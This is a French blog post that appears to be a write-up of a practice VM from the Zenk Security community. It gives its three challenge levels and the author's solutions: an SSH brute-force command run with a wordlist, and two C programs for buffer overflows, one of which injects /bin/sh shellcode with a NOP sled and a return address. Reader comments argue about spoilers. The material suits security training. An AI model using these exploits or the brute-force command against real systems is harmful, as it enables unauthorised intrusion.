jeudi 8 avril 2010

VM Zenk Security [Applicative] N°1

Bonjour!

Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.

Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.

Elle est disponible ici:

http://rapidshare.com/files/373125517/VMZenk_App1.7z

C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).

Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .

Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.

Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun


Niveau 3

Objectif: Lire le fichier /root/yeah
Indice: Aucun

Et voici donc mes solutions (Attention spoiler:)

Level1:
root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst


Level2
#include <stdio.h>
#include <string.h>

int main(void)
{
int nbnop=109;

char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";

char data[500];
char sysc[600];

memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);

int i=0;

printf("Prepare sc..\n");

strncat(data,shellcode,500);

printf("Prepare nop..\n");

for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}

strncat(data,retA,500);

printf("Prepare new eip..\n");

strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");

strncat(sysc,data,500);
printf("Try..\n");

system(sysc);
}


Level3
#include <string.h>

#define FILE_TO_READ "/root/yeah"

int main(void)
{
char junkdata[600];
char sysc[700];

printf("Prepare junkdata..\n");

memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);

strncat(junkdata,FILE_TO_READ,600);

printf("Prepare filename..\n");

strncpy(sysc,"/home/user2/2 ",600);

strncat(sysc,junkdata,700);

printf("Try..\n");

system(sysc);
}

3 commentaires:

Icefox a dit…

Après vous vous plaignez que les gens trichent. Franchement faut réflèchir deux fois avant d'écrire quelque chose sur internet.

5m0k3 a dit…

De quoi tu parles?

Cette VM n'a jamais et ne fera jamais partie d'un challenge.

Franchement faut réfléchir à 2 fois avant de poster quelque chose sur internet.

Thom Tiber a dit…

MDR ! ET PAFF ! GG et +1 pour 5m0ke =D